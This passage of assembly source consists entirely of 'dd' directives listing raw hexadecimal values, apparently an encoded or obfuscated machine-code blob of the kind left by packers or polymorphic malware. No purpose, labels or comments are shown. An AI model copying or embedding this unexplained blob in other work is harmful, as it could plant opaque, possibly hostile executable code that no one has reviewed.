		dd 20D9993Bh, 0B2C68B66h, 0D0EA811Ah, 665D5F11h, 8C0FD98Bh
		dd 6, 8B8BB160h, 0EE861D9h, 0A2000000h,	5D117713h, 0BF0AB38Dh
		dd 68C512B2h, 38F0F79h,	0F000000h, 0F95FDABFh, 0EE8h, 32C05600h
		dd 95894E0Fh, 840D57CAh, 5F973122h, 0B4D3BF0Fh,	5E9FDh
		dd 0E1C30000h, 0BBA0EEC2h, 31D3F111h, 32176FBAh, 0DFBF0F1Dh
		dd 8B66F98Bh, 0F68060D9h, 5870F03h, 66000000h, 70B5E981h
		dd 9E961h, 60C00000h, 0BA797319h, 0E81D2BB9h, 5, 0E5D5333Ch
		dd 5833B66Dh, 0FE860F9h, 9000000h, 0D91F29EFh, 60ADFD2Bh
		dd 0F117660Ch, 8B666404h, 8B0F5FF7h, 2,	6061DA8Bh, 3810Fh
		dd 0D3800000h, 9E94Fh, 0CBF0000h, 0D930FB37h, 6171E2F6h
		dd 8E8h, 5F4F2100h, 33005787h, 5BC68B59h, 830FE7B5h, 6
		dd 49D4C781h, 8E0F3E1Dh, 8, 0FBBF0F60h,	61D0BF0Fh, 0BEF88B66h
		dd 79E6D23Fh, 8E950h, 20460000h, 30E42EC4h, 0F581708h
		dd 198Dh, 0DE800h, 988C0000h, 471AB9EBh, 186A7943h, 0FC81737h
		dd 8Dh,	8D0F5E00h, 4, 58E4B050h, 9E950h, 0D77F0000h, 0B40E39B6h
		dd 5FF3CFE7h, 8FC9C781h, 0BB6673E3h, 0FE8C638h,	23000000h
		dd 6B243111h, 8130D387h, 64116C94h, 0E856BB23h,	0Dh, 0F1C0AB28h
		dd 0F35CBFFh, 263FBC8Bh, 585E5A09h, 14E9h, 0DF173400h
		dd 29FA616Dh, 49E44D7Ch, 811541FAh, 88381987h, 0FBB70FBEh
		dd 0C71DC281h, 8C0F72BBh, 5, 1463DCB9h,	8166536Ah, 5B4D2BC7h
		dd 0FD78B60h, 28Ah, 61C38B00h, 3FC5EA81h, 80600209h, 3B83DE8h
		dd 613925BCh, 3830Fh, 8B660000h, 3DA3BACAh, 8B6673FAh
		dd 66D3B0F7h, 11E9F38Bh, 5B000000h, 0CE8949F5h,	0F359C912h
		dd 0BE89590Fh, 5B1AA508h, 0E9C9B70Fh, 0Fh, 1224D225h, 79D4B3D7h
		dd 692AF1A5h, 57FB2324h, 66B5B059h, 748DE881h, 5AD28166h
		dd 12E917h, 0B02C0000h,	0EC9401D2h, 4CC4CEE3h, 84C9A72Dh
		dd 51ACDBAEh, 128B0Fh, 0E9600000h, 9, 36B4CF52h, 0E23D2B99h
		dd 61D68B26h, 0B39BC281h, 0FB8B167Fh, 14E9h, 0A63A2200h
		dd 52496C0Ch, 721CA512h, 0A00E6D7Ah, 0A4EAD44Eh, 0E7E58065h
		dd 5E9F5h, 51EB0000h, 50B71D72h, 39DEBDB9h, 0AE95E09h
		dd 32000000h, 4570C662h, 6E3EE4DCh, 66605716h, 677DD281h
		dd 14E8h, 51D09500h, 0CEEC3169h, 2BFE659Fh, 40DE0CB8h
		dd 530F0D18h, 5B61592Bh, 8B665360h, 0F9615EF2h,	5880Fh
		dd 52B90000h, 812099A7h, 401CB9D9h, 10E95Eh, 47CF0000h
		dd 9E1995FEh, 0EC472DECh, 0BF49A384h, 5BB9A23Bh, 0E92D0758h
		dd 9, 0D151686Dh, 1BC1C92Ah, 7E8C3h, 0C3B90000h, 736A0238h
		dd 61605100h, 0E8FC585Ah, 0Ah, 7AFB655h, 0F738BEB9h, 13E83AEDh
		dd 18000000h, 0B20A4CCBh, 4BD9FF8Fh, 5ED8012Eh,	0F65BF7E6h
		dd 0B70F6E8Ch, 0E95F5AC3h, 0Eh,	0AB22069Ah, 5BAD66B2h
		dd 561795F4h, 6B32226h,	3880FF9h, 80000000h, 5660E5D4h
		dd 0EE8h, 2D838300h, 5A0556A4h,	8061B3D2h, 5AA3752Ch, 0F861F95Bh
		dd 4810Fh, 0BB660000h, 0E957A09Ah, 14h,	0F83AB423h, 98767DFCh
		dd 4E452AA5h, 0CCC2327h, 0C4FC91B2h, 0BA66515Eh, 0E95B9A60h
		dd 13h,	6509D07Dh, 424536B8h, 0F70DF09Ch, 34D4C028h, 0F5405E2Ah
		dd 6D6001B8h, 0FC68B7Ah, 686h, 0F7CF8100h, 0E826B002h
		dd 0Fh,	0DD9FB605h, 17021F8Ch, 0D3AA5AEDh, 6654AA65h, 0F859D88Bh
		dd 2810Fh, 0D98A0000h, 96C08052h, 0CABF0F5Eh, 0CF81F960h
		dd 201C1B11h, 0EE961h, 35CF0000h, 556FBC5Bh, 0EC6D80A8h
		dd 44828CEAh, 0AE9h, 6803B00h, 6D18A068h, 81A29CB4h, 5E5EFFCFh
		dd 0CFACB934h, 11E90FDFh, 8A000000h, 859856C1h,	0E0AF595Dh
		dd 0B7B84CC1h, 510DD204h, 8E0FCE8Bh, 16h, 11E9h, 0E45EA600h
		dd 0F657DD60h, 64C426A0h, 459B75B4h, 816667D5h,	577784E2h
		dd 0F381665Bh, 9E9DFC2h, 74000000h, 665657BDh, 2C8E2309h
		dd 34EE8166h, 0C0EFB916h, 58520F17h, 8ACE8B66h,	0C78B66EBh
		dd 0C88B5350h, 0F1B55F58h, 4860Fh, 0B8660000h, 8C0FA0BBh
		dd 2, 0BE8CB8Ah, 21000000h, 1C6F2DE4h, 0C702EF3Ch, 870F29E9h
		dd 6, 0E293C881h, 0F5A2E66h, 38Eh, 0F6BF0F00h, 0DA8B6660h
		dd 0EE861h, 0D6F10000h,	25D445Fh, 5169B1DDh, 0D2AA53E0h
		dd 0F0B45BF5h, 14E9h, 0F10A8500h, 3CF64B81h, 9E612909h
		dd 7C44A0E4h, 9189E25Eh, 0FE829h, 0C3EB0000h, 0AA99C772h
		dd 8BD20210h, 0F8E68911h, 0AE998h, 0C7260000h, 9F17F40Dh
		dd 454BAE74h, 12E9F85Fh, 42000000h, 0EFCE7C54h
		dd 10EA88A4h, 3DC087C2h, 0EDB0CDF9h, 0E1CF81CDh, 0F1559A7h
		dd 687h, 0BA665200h, 0E959093Dh, 12h, 0B75D83F3h, 0F81B4893h
		dd 62702DF7h, 0C649E80Ch, 8166A26Dh, 602B29E9h,	13E8h
		dd 0F5DFAF00h, 0EFC57325h, 0ABEFB35h, 443C43DCh, 70BFD858h
		dd 13E85Bh, 0FA4E0000h,	0FBC2BC00h, 0EDDF979Dh,	68E5CE52h
		dd 0E451A599h, 0C6BF0F5Dh, 6E86158h, 0B3000000h, 0B21E254Eh
		dd 5AD6B23Bh, 0BB3EF81h, 0B70F250Eh, 890F60CFh,	18h, 12E8h
		dd 2A62AE00h, 0F8B8B7FCh, 0B684916Ah, 0A40A1678h, 5F95B005h
		dd 0F639CB81h, 0F961222Fh, 8A0F8AB5h, 0
		dd 66D18B66h, 7FB5D68Bh, 13E8h,	86FF5600h, 630F9D23h, 0BF5C380Dh
		dd 55A615D4h, 0D921A529h, 58E1C881h, 0F5A2A0Bh,	382h, 0FB8B6600h
		dd 6E922B5h, 3B000000h,	4A602DCh, 18A0F93h, 0F5000000h
		dd 66CA8B66h, 0BFBCB3B8h, 0A8E305Eh, 58E0Fh, 0CABA0000h
		dd 6610456Ah, 0F5561BFh, 840FD1BFh, 4, 54A1BE66h, 0B14DBF53h
		dd 56596362h, 5E9h, 0A351AA00h,	0E858BE04h, 14h, 0B422D9F4h
		dd 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h, 5FDE8B66h
		dd 3870Fh, 0B70F0000h, 0AE8C3h,	495D0000h, 0CDDBD521h
		dd 1621D88Ah, 9E9h, 0AE441A00h,	313BC49Bh, 665A0F2Eh, 0F3CFF781h
		dd 0B937CC80h, 6D981425h, 9E8h,	7A634600h, 5E53D14h, 0E181FCD7h
		dd 47A398D1h, 10860F5Ah, 0E9000000h, 0Bh, 0BACC11A4h, 0AAF24F9Eh
		dd 60D05CBBh, 12E8h, 2B3F9700h,	223265ABh, 0A4B08EDFh
		dd 0D741ACABh, 80A14C98h, 6158BECCh, 18B0F60h, 0F8000000h
		dd 61F08B66h, 58C0Fh, 81660000h, 6050FFF6h, 8E8h, 8BBE8A00h
		dd 0FB5EE79Dh, 5689B809h, 0F5F3430h, 6661F7B7h,	0D18AD88Bh
		dd 0B70FD18Bh, 0FEB70FC3h, 8E8h, 71CDA000h, 0CC12E310h
		dd 59BDB56Dh, 0FC6B70Fh, 385h, 1EC48000h, 9BBFEE81h, 0CE8042BDh
		dd 0AE8BDh, 86F60000h, 44B2B1A4h, 101F6A86h, 5840Fh, 0D6BF0000h
		dd 5A2469FAh, 0C18B9DB2h, 6E9h,	1ECEDD00h, 0F91F8E5h, 800FD1BFh
		dd 2, 0BF0F5F57h, 138A0FC9h, 0E8000000h, 9, 16DC8F19h
		dd 0FBA950A6h, 2BA66B2h, 0E5805860h, 66F3B51Fh,	2A61DF81h
		dd 14E9h, 88EC8B00h, 33B68142h,	640F4837h, 1D911551h, 8290E14h
		dd 3CB7F926h, 10E9h, 9907CF00h,	0A9C3386Ah, 7C3F52A4h
		dd 9FBB0B8Bh, 0C8816648h, 0B70F2531h, 12E9F2h, 83DF0000h
		dd 420D9DE9h, 22275794h, 6F953C02h, 0C45185D4h,	9E8h, 10CB5C00h
		dd 45245BBDh, 8B660A98h, 830F5BF7h, 6, 850Fh, 0F530000h
		dd 587h, 0A149BB00h, 0E95E6A53h, 11h, 80A221Fh,	4817B7F1h
		dd 9241C16Fh, 518C821h,	802EBAECh, 0B70F1E25h, 0E28166CBh
		dd 0F56CDB7h, 583h, 0C6816600h,	0F598F75h, 8166C6BFh, 667671EBh
		dd 6657DE8Bh, 58CA7CBBh, 120DDEB9h, 8E962h, 0C5E00000h
		dd 40045D3Eh, 0BA666BCEh, 0FABB8D09h, 0E90E5C6Ah, 10h
		dd 799797C5h, 0C0E7AF96h, 826DA65Dh, 39468A1Bh,	9E9h, 21C61500h
		dd 25DA2134h, 5F57D7A2h, 8E9h, 5B23C400h, 0BAB11C52h, 0BE665781h
		dd 0F593A0Bh, 0D88AF2BFh, 3DD98166h, 0CE8B66F8h, 850FD38Bh
		dd 8, 33F78156h, 5F6BC4C1h, 4BB86656h, 0C981585Ch, 54B68408h
		dd 88E0Fh, 840F0000h, 2, 8B665E51h, 0C8B70FC1h,	66F0C480h
		dd 0C25BC881h, 40B9B852h, 605E069Fh, 0EE9h, 514B3A00h
		dd 0F9CDB8D2h, 0F314ABDh, 0FF3F857h, 1786h, 12E900h, 589E0000h
		dd 4B25BD22h, 2F8A1AAAh, 0E39123DAh, 9276575Dh,	6E961h
		dd 0EC360000h, 8A147985h, 6041E980h, 87D8B966h,	0C3816661h
		dd 0A2BB28A4h, 0E90067AEh, 5, 0AC56BDEDh, 9E842h, 4BC70000h
		dd 3D78630Ch, 666134E1h, 605AD68Bh, 39973FBAh, 0A4BE663Ah
		dd 0FC5161B9h, 43BFF95Bh, 0F31D5B1h, 585h, 0E8816600h
		dd 0E9577A74h, 7, 65F30FADh, 5E12E08Ah,	0E624E981h, 8A0F6760h
		dd 4, 5E585651h, 0AE9h,	2D0E5000h, 0AFE64641h, 0F10A437h
		dd 148Ch, 0CE800h, 0C14E0000h, 438A0632h, 0D4035B92h, 5A510A49h
		dd 0A902B859h, 0BB603384h, 1E2DE00Ch, 28E0Fh, 0C88B0000h
		dd 0E6D28061h, 0A6C38160h, 8B0D254Ah, 0EF8161CFh, 9B0BB2Dh
		dd 8870FF8h, 51000000h,	880Fh, 665E0000h, 2C76D281h, 832B5BBAh
		dd 0FE901h, 1CE50000h, 0CD8681B2h, 0FBBB6707h, 0EBACF5F4h
		dd 0D88B667Dh, 0CE9h, 616DDF00h, 4D7C29FAh, 41FA49E4h
		dd 3BBF6615h, 7E889h, 1C530000h, 24A1B4E0h, 5B57B31Bh
		dd 0C3CCDE81h, 0C38B01ACh, 49D880FCh, 0E837DE80h, 9, 9239E2EEh
		dd 286B9709h, 0C38B66F4h, 0B861B85Bh, 8B66006Ah, 8166FCF2h
		dd 66D49AF3h, 8B51DA8Bh, 14E958F0h, 17000000h, 9FE96530h
		dd 86192DD6h, 80646015h, 5B53FFC9h, 603A64E2h, 8B66F28Bh
		dd 0E96061FEh, 6, 0D5397F06h, 0F6041E3h, 80h, 820F00h
		dd 61000000h, 14E961h, 64610000h, 630233B3h, 0CA78FA56h
		dd 0C6E29D3Ch, 796477F0h, 0C0813A95h, 53E76296h, 0C6BF0F57h
		dd 14810F5Fh, 0E8000000h, 8, 0AFDC9694h, 595516CDh, 5F96F081h
		dd 52580ADCh, 2F177FBFh, 8B665971h, 8880FCBh, 60000000h
		dd 89C1BA66h, 6661FB8Bh, 0E95295B8h, 0Dh, 0C829CEEEh, 857B9010h
		dd 0D72ADFDEh, 8A0F60BBh, 5, 0EE68166h,	4840F6Fh, 66000000h
		dd 618DA9BFh, 6EDA8166h, 66D38B63h, 850FF98Bh, 3, 66CAB70Fh
		dd 0F103EBAh, 8166DBB7h, 0E982CBE8h, 6,	8A5E14EDh, 51FC698Bh
		dd 0DAF07CBAh, 0EE8584Bh, 0CC000000h, 0D485A922h, 0F0E1A13Bh
		dd 0D87ACF98h, 5A8EB1F1h, 816606B7h, 0F9FFEDAh,	68Bh, 5EA8100h
		dd 0E964C296h, 9, 0D76BD4B5h, 0B41C6792h, 0F1BF0F0Dh, 61BA6660h
		dd 2955BB1Dh, 66617BBEh, 0F6EEF781h, 14E8h, 681A8000h
		dd 0B3890444h, 0B5F7F046h, 0B31A0DE5h, 6832FB29h, 5E95B2Ch
		dd 0FB000000h, 0DD61067Bh, 11E9h, 47771900h, 9367AF16h
		dd 0DBD0BFF8h, 0CCA76ABEh, 830F2B70h, 5, 49E18166h, 8166F5EEh
		dd 0E86C69D8h, 0Ah, 8914963Ch, 9EFE0E23h, 0BA66016Bh, 81599315h
		dd 4CED51F6h, 8B21B205h, 0DE8C2h, 7FC20000h, 0B2252A85h
		dd 9A837A10h, 52116A78h, 8C0F5B5Eh, 17h, 0DE8h,	0C92B5500h
		dd 0F9395BE0h, 0C99C7101h, 0BA667FF3h, 815F3AACh, 0EAF48E0h
		dd 34BB6611h, 0ECFFB89Ch, 890F75E0h, 6,	7E2FF781h, 0D3811EF9h
		dd 4EB43CA3h, 5840Fh, 9FBA0000h, 60035839h, 8166F5B1h
		dd 618A30EBh, 19800F60h, 0E9000000h, 14h, 0C54FE734h, 431CA4C3h
		dd 91199EFCh, 83C90C99h, 0EA2B20B3h, 0E961D18Bh, 5, 0E6040BF6h
		dd 850F600Dh, 3, 0E9F78B66h, 9,	0F541DAC5h, 5DA0D377h
		dd 8A0F61C6h, 3, 0FCF18B66h, 0FD1B70Fh,	287h, 52FB8B00h
		dd 9E9h, 0A965F000h, 6D57AA66h,	665B3EA9h, 0D78BCF8Bh
		dd 9E960h, 8F30000h, 6224A240h,	0FDA7DB8h, 1982h, 14E900h
		dd 4320000h, 1BE13AEFh,	0BBFB2023h, 3529052Fh, 54B1EE95h
		dd 0E961C565h, 0Eh, 301B00AFh, 8F58E1B9h, 86170525h, 0BF66F40Bh
		dd 50534759h, 18E6BF66h, 66575E5Bh, 113BE881h, 38A0F5Ah
		dd 0F000000h, 12E9F2B7h, 0E5000000h, 93221E95h,	966BB505h
		dd 0E580F0F9h, 6CE6052Ah, 0AE94Bh, 710A0000h, 414788D7h
		dd 4B1D9ED8h, 0CE8h, 0B4053000h, 9149ED74h, 68747169h
		dd 0D0F7812Eh, 595D5F01h, 0E8D08B66h, 14h, 110D128Ah, 0B7547Bh
		dd 0B785CA53h, 0FFD56DCBh, 53BA7BCFh, 665FE38Ah, 0D48AC88Bh
		dd 1A8E0Fh, 12E80000h, 0FD000000h, 89226C6Fh, 0F224B2D1h
		dd 0BCBA7AA1h, 4FA7035Ch, 5A595385h, 0BE9h, 32B53200h
		dd 4BFA1BD2h, 9AFB91h, 0DFBF0F60h, 61F28B66h, 1A11D681h
		dd 0C38103BDh, 713BB1DBh, 0DE9h, 725AA500h, 7769AF18h
		dd 8BC15997h, 8B666E9Eh, 48F0FD6h, 66000000h, 0B0EFCEBEh
		dd 0FD52B92Dh, 0F6051E2h, 38Ah,	0DA8B6600h, 0EFC755BAh
		dd 800F6105h, 3, 0E968F280h, 14h, 53CF4716h, 0CCBAAAEBh
		dd 0D197BF95h, 921481B0h, 4AB1CC16h, 0BA66F38Ah, 0F2B75204h
		dd 13E8h, 5396B500h, 0F3A82E80h, 799249ACh, 60C4E2FBh
		dd 0CCE004FDh, 0B6C18166h, 80605F9Ah, 0CB8A7DC1h, 0EEC88161h
		dd 667EA2A9h, 1573EA81h, 6DFAC181h, 0DE810B6h, 36000000h
		dd 71C47955h, 42C22D49h, 7516AD03h, 6840Fh, 8F0F0000h
		dd 0
		dd 0BF0FF85Fh, 860FD6h,	66000000h, 668F12BEh, 8160DF8Bh
		dd 9AC07EE9h, 0B70F607Ah, 0E28166C7h, 6161AE75h, 9E860h
		dd 41940000h, 0CB95C06Fh, 0FF67B0Bh, 83h, 85BE5800h, 614E6794h
		dd 514FBB66h, 9E9h, 6925EB00h, 43A7078Dh, 56FC4C19h, 0CE8h
		dd 0E7433500h, 0C8EEFA94h, 0E06E60BFh, 5F58F896h, 68B0F60h
		dd 0F000000h, 83h, 80F86000h, 61613DDEh, 8E8h, 0F4C9B700h
		dd 0E469EA73h, 0C0B70FF5h, 0CAB16058h, 0B8605061h, 2620F261h
		dd 5961E28Ah, 0B4D98B66h, 0DBB70FE3h, 964B966h,	10E971B0h
		dd 0FF000000h, 19828B35h, 7E2B44ADh, 351AD7C3h,	802E3438h
		dd 0E8F500F0h, 11h, 999D9D79h, 0F7161FC0h, 0FE2BC48Bh
		dd 3CC1B091h, 0C9816642h, 605FB984h, 870F50h, 5B000000h
		dd 6800Fh, 0E8810000h, 63A9BB13h, 0A4D58061h, 0B5DE8B66h
		dd 0C9BF0F65h, 12E8h, 34809900h, 4577D7F6h, 77DD4009h
		dd 3D8671ABh, 66BA2C6Fh, 5BA238BFh, 5026C180h, 5FFFD080h
		dd 8C6AE881h, 0EE81FEFh, 17000000h, 0E8F2F51Ah,	5EC5C0BFh
		dd 28DFAC49h, 55CD8078h, 4870F5Fh, 60000000h, 52616160h
		dd 62BCD381h, 0B85E5735h, 189AE22Fh, 9DCA8166h,	0E2CD805Dh
		dd 5E8h, 0EC24D400h, 8A0F3653h,	12h, 0DE9h, 0AA89CD00h
		dd 7AF4CAA0h, 2A52719Fh, 6059DB4Ch, 0DE8h, 6D862100h, 735DE762h
		dd 128B25FDh, 0B35BE644h, 78B261C5h, 0DF8B6060h, 8161E2B4h
		dd 885D87E7h, 0CF81617Ch, 4A21220Eh, 5E9h, 0EFBE8600h
		dd 0B70FCB54h, 7E8F2h, 0E6590000h, 0B3EA7D08h, 2880FF9h
		dd 8B000000h, 8F0F59FBh, 1Bh, 0FE8h, 0CDFA8D00h, 3B65CAB3h
		dd 0F2D74BB0h, 0EAB1EC02h, 880Fh, 665F0000h, 0DD2CF381h
		dd 0D08AF18Bh, 66DCB1FCh, 0E9CF40B8h, 0Ah, 0CC864EE2h
		dd 0D5941881h, 0F38B11D0h, 0D207EDBFh, 0DE875h,	0EDF70000h
		dd 2D25E73Ah, 0FB275666h, 808E5F40h, 0B85963C6h, 6AB5BAE3h
		dd 2D57DE81h, 0FE8B024Eh, 0FECC480h, 8166D8BFh,	0FE4DDDAh
		dd 5156C8B7h, 13E9h, 6B99F600h,	869CF85Ah, 0BB1EAC72h
		dd 84172320h, 1BD5E16Ch, 11E95E5Eh, 0A3000000h,	388A2DC1h
		dd 0F947AE3h, 0D816C6F0h, 0BB9ECE5Dh, 2890Fh, 0BCB40000h
		dd 7293B966h, 8B9F5F9h,	0BA11F8E7h, 33B7DE7Eh, 32DA58BAh
		dd 66A6B76Eh, 0F5F94BEh, 118Eh,	0CE900h, 13CF0000h, 9647F772h
		dd 190D2AFDh, 8D0FE1A6h, 17h, 0EE8h, 0E5E19C00h, 6C06AF1h
		dd 0DE181BA8h, 0FCBAEF4h, 0F5AC8B7h, 38Fh, 5BFC5300h, 861E61B8h
		dd 66C78B08h, 80BBD68Bh, 5249608Ch, 0F55EF78Bh,	11E9h
		dd 0E3A7E700h, 0DBA1B51Bh, 75D07939h, 4D47346Fh, 850F238Dh
		dd 6, 8A0Fh, 66FC0000h,	0DF6AE981h, 9E9h, 51A93600h, 826A2BA0h
		dd 8B66AA82h, 6880FF9h,	81000000h, 84B648EEh, 0F781667Ah
		dd 5CBB37C9h, 0E92F3606h, 5, 0B8BBD635h, 7E8F5BCh, 5000000h
		dd 723EA09Eh, 665E9374h, 0E95C01BEh, 10h, 1A5C996h, 65AD2065h
		dd 5FA83A84h, 68E1A926h, 0D0CE8166h, 0BF666053h, 0F6168B4h
		dd 168Bh, 0BE800h, 0EF3D0000h, 8EB6121Dh, 0BB4F2E9h, 0C8816612h
		dd 0E95BDE03h, 7, 9FE5374h, 0F14D3ABh, 982h, 3870F00h
		dd 66000000h, 0AAB4D78Bh, 724B966h, 4FF0B966h, 0FDE28166h
		dd 0E28060A8h, 0B2BA6689h, 0C38B615Ah, 0F80AE281h, 0B70F4827h
		dd 8A08BFD8h, 0B70F143Fh, 667EB3C1h, 7A0ADE81h,	0BE9h
		dd 15DE1B00h, 0F08240A8h, 1DD274F3h, 0BE9h, 67697F00h
		dd 7409B1FDh, 9C075CE0h, 14E9h,	4BDB2B00h, 4BC78450h, 3D78630Ch
		dd 436134E1h, 0A9630B73h, 21BE6604h, 665E5180h,	0E9D115BFh
		dd 0Bh,	0DD4E9BA8h, 0E57DE5E5h,	60093F45h, 0E3D18166h
		dd 800F5238h, 0
		dd 0E9606159h, 10h, 21681DFDh, 7BD6F5C6h, 3758C93h, 0B90E24CEh
		dd 0AC7AF8BAh, 8B66617Dh, 0C1BF0FCBh, 5E851h, 801B0000h
		dd 8151A426h, 532A85D3h, 0F9585905h, 667DF180h,	17F8F081h
		dd 66EAC180h, 70D3C381h, 17830Fh, 12E90000h, 0DF000000h
		dd 45BF53E3h, 2B0A5781h, 0B5FE6754h, 0FCCD0D16h, 810F60E0h
		dd 6, 890Fh, 6E80000h, 1A000000h, 64826CCFh, 5F5F52DAh
		dd 12E961h, 0A24B0000h,	11C73A4Dh, 0EB768E0Dh, 0A63A22AFh
		dd 52496C0Ch, 1C78166h,	0A3EEBE30h, 5E94E5Dh, 32000000h
		dd 7513681Fh, 0A42EF81h, 860F4562h, 0Bh, 6E9h, 0B5DD5E00h
		dd 81FEB2B3h, 0B5FC4FE1h, 0F960FC5Ah, 61D0B70Fh, 7255E181h
		dd 0DE907BFh, 8A000000h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h
		dd 5D9F681h, 7E93F77h, 0EB000000h, 0D47B91CBh, 66605081h
		dd 0E83A42BAh, 0Ch, 0F2F87003h,	0F08FFD2Dh, 0C7B06746h
		dd 8C0Fh, 61580000h, 0E1829B8h,	5850F79h, 60000000h, 61D2BF0Fh
		dd 10E8h, 891D6400h, 0E2E4E5Ah,	0EF83A523h, 9D9A56C3h
		dd 58F78BE0h, 0E900D280h, 10h, 4558870Ah, 0FDE56534h, 0CD196237h
		dd 0ABAD3650h, 19870Fh,	0DE80000h, 2D000000h, 63C403CBh
		dd 4C4F9870h, 0AE1FC84Eh, 32DCF381h, 0F5F5A10h,	84h, 0C6816600h
		dd 0C8803CC9h, 0BE919h,	54DB0000h, 4F45B5D7h, 861B7E33h
		dd 5741BF37h, 0BE9583Bh, 1E000000h, 0FB0CC3ADh,	7D4656F7h
		dd 0BF0FE4C8h, 0AF381C8h, 0B64789F0h, 0F2BF0F61h, 8B66FB8Bh
		dd 0B70F60CFh, 8B6660F3h, 8CF081F7h, 611C144Ah,	14E861h
		dd 73210000h, 17C52B01h, 6375EC46h, 435F2B73h, 57BB8391h
		dd 0B0606A94h, 616160E6h, 14E95Bh, 0C5110000h, 0F2057E95h
		dd 0D1CEC658h, 5E11A689h, 0C8B022FDh, 0C781E4C1h, 3BB2DB18h
		dd 12E9h, 54E0FC00h, 3F315ADAh,	0CB050145h, 7D6D439Bh
		dd 8BEE143Dh, 6682B0F0h, 52DE84BFh, 6E9h, 12264600h, 5AF065D1h
		dd 11E9CC8Ah, 83000000h, 15755694h, 0A7F819Dh, 4C9543C3h
		dd 62E2212Ch, 9820BB60h, 8A0F2741h, 2, 60616160h, 5761D080h
		dd 8166615Ah, 607416F6h, 0FDB0B966h, 0FFBF0F61h, 13E8h
		dd 1368C00h, 0D05A5310h, 256574ACh, 5175CA23h, 7DBAC554h
		dd 12E9h, 7D26FB00h, 3EDB50E8h,	5BA8461Bh, 0F2A69861h
		dd 5A5BC4BBh, 0A0B340BEh, 47EA813Ch, 81341183h,	0AB69A8DEh
		dd 0EF49BA26h, 13E80AF7h, 0B7000000h, 0D7B5193Ah, 0BDA4822Ch
		dd 8C981707h, 65169DC8h, 830F27BFh, 6, 8F0Fh, 0F95B0000h
		dd 0A5B5DE81h, 81666AADh, 66E849E9h, 80BEB81h, 890FC68Bh
		dd 2, 1ABAD58Ah, 0F171A04h, 285h, 810FB000h, 0EFEC66EBh
		dd 93C8B836h, 81664653h, 66892CE2h, 0E388D781h,	1F840Fh
		dd 5E80000h, 62000000h,	73DA5F2Ch, 0EE8h, 0C251DB00h, 0D6B6EAFEh
		dd 0C1AD8486h, 5E8DF397h, 5E95Bh, 34F30000h, 0F515C13Bh
		dd 10E9h, 61730100h, 2AE897C0h,	8CF76CAh, 0D420B69Ch, 3850FD4h
		dd 80000000h, 8E9C6D6h,	5C000000h, 0FF42A668h, 8A4D66D2h
		dd 6E960FDh, 2A000000h,	0B4996989h, 88B55068h, 81F9615Bh
		dd 4C6671C2h, 830FF93Dh, 7, 4651BE56h, 665A596Ah, 0FE3AE281h
		dd 0C88AF78Ah, 0E40BDE81h, 8B663516h, 1E870FFEh, 0F000000h
		dd 1887h, 13E900h, 42050000h, 22429BDCh, 3336BE0Fh, 0E0C819B7h
		dd 91C8E0A0h, 0FCDC8ADAh, 7EE8166h, 0E9816602h,	0E281F229h
		dd 6E4F0A85h, 79EA8060h, 7E8h, 0E4A66200h, 0B5068728h
		dd 666158F8h, 0DE80D78Bh, 0C38BF9CAh, 6317BB66h, 0E8F08A60h
		dd 0Ah,	32577986h, 79AC434Ch, 0BF66E60Dh, 615A2357h, 0E84ABB66h
		dd 73CA8166h, 33BF60A2h, 525BCC2Bh, 6159F78Bh, 1830Fh
		dd 66F90000h, 3CBE281h,	0FC71B866h, 0B866D38Bh,	13E96865h
		dd 19000000h, 0BAB4A381h, 99E95736h, 99B05934h,	0F653AC1Dh
		dd 0E9606FB4h, 7, 0E9C2EA82h, 611E2E1Eh, 0B0E78AF8h, 0E9D18B0Dh
		dd 0Ch,	55BC293Ah, 0E7E20447h, 72DB44DDh, 0FDFC981h, 81F96909h
		dd 54E445CBh, 0F0B0BA5Eh, 0BE947C8h, 78000000h,	0DC67D2A6h
		dd 28BD378Eh, 8B663B66h, 890FC7h, 0F5000000h, 6E9h, 5860B900h
		dd 0B866A6C4h, 7EE704E7h, 27B7DCB4h, 9C481FB8h,	6336B849h
		dd 8160160Ch, 0CCFDB2C1h, 61DC8A4Bh, 8BEEE080h,	66A6B2D9h
		dd 8B3108B8h, 0EE9F2h, 0A71A0000h, 0DF9A483Ch, 610CB1B6h
		dd 50B2652Bh, 0AE9h, 0E0E1B100h, 27530B03h, 66C7652Eh
		dd 0E9A838BAh, 0Dh, 552CE024h, 2DF4B377h, 0D511BFBFh, 12E88Bh
		dd 8B4D0000h, 0F7F6C7Ah, 0CD059B35h, 781AB004h,	0A2E360EAh
		dd 7E959h, 9080000h, 0C0930F4Dh, 4820F49h, 66000000h, 8B56CBB8h
		dd 12E8F2h, 29A0000h, 0E8CCBF04h, 0AF1B6D09h, 43A90852h
		dd 280FBCFBh, 5AF0B70Fh, 0D08AA8BAh, 0C781F85Bh, 1BF32924h
		dd 8BD2BF0Fh, 0D18B66D3h, 0BFADF180h, 5665F50Fh, 0FC53A6B5h
		dd 7E858h, 0CD8E0000h, 1486E67Fh, 0C6BF0FB9h, 0D881665Bh
		dd 5E81502h, 0D000000h,	0D4C028F7h, 0DE95BF8h, 0FB000000h
		dd 85F74023h, 7FCD8E12h, 0B91486E6h, 198C0Fh, 14E90000h
		dd 2F000000h, 0ABE4F769h, 7EA0DE6Ch, 1D5E76Ah, 81357D35h
		dd 0E9F96DA7h, 6, 64A20060h, 10E85EFAh,	0AA000000h, 361D6B6Ah
		dd 0F61C8D0h, 59915907h, 809B7D2Bh, 0F5A77E1h, 58Eh, 0E8816600h
		dd 6660E744h, 0E83E88BAh, 0Ah, 0E5C691BCh, 0C13481D0h
		dd 61606F58h, 8B66615Ah, 0CE9D3h, 97010000h, 0C5704633h
		dd 0C0A7BE8Eh, 8E0FCD1Dh, 3, 0F9DEB70Fh, 13E8h,	0F1C2A200h
		dd 59D17EC9h, 0EF46A8EBh, 1658A26Ch, 0B174682Ah, 5810F58h
		dd 51000000h, 5BD1BF0Fh, 68B0F51h, 0F000000h, 87h, 81665B00h
		dd 0FC5DFD2h, 8B0FF7B7h, 3, 664CC980h, 14E9D18Bh, 73000000h
		dd 395D2597h, 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0FB8403Eh
		dd 5E9DFBFh, 0BC000000h, 0FB733332h, 0C1CEC7BEh, 0C880F93Ch
		dd 0E2816677h, 830FF491h, 3, 6618CD80h,	8B66D88Bh, 0D6BF0FDAh
		dd 7587E8B8h, 0B6D68057h, 304BC2BEh, 9830F04h, 0F000000h
		dd 38Ch, 0D8B70F00h, 819AE880h,	0B3EFBCD7h, 4820F77h, 66000000h
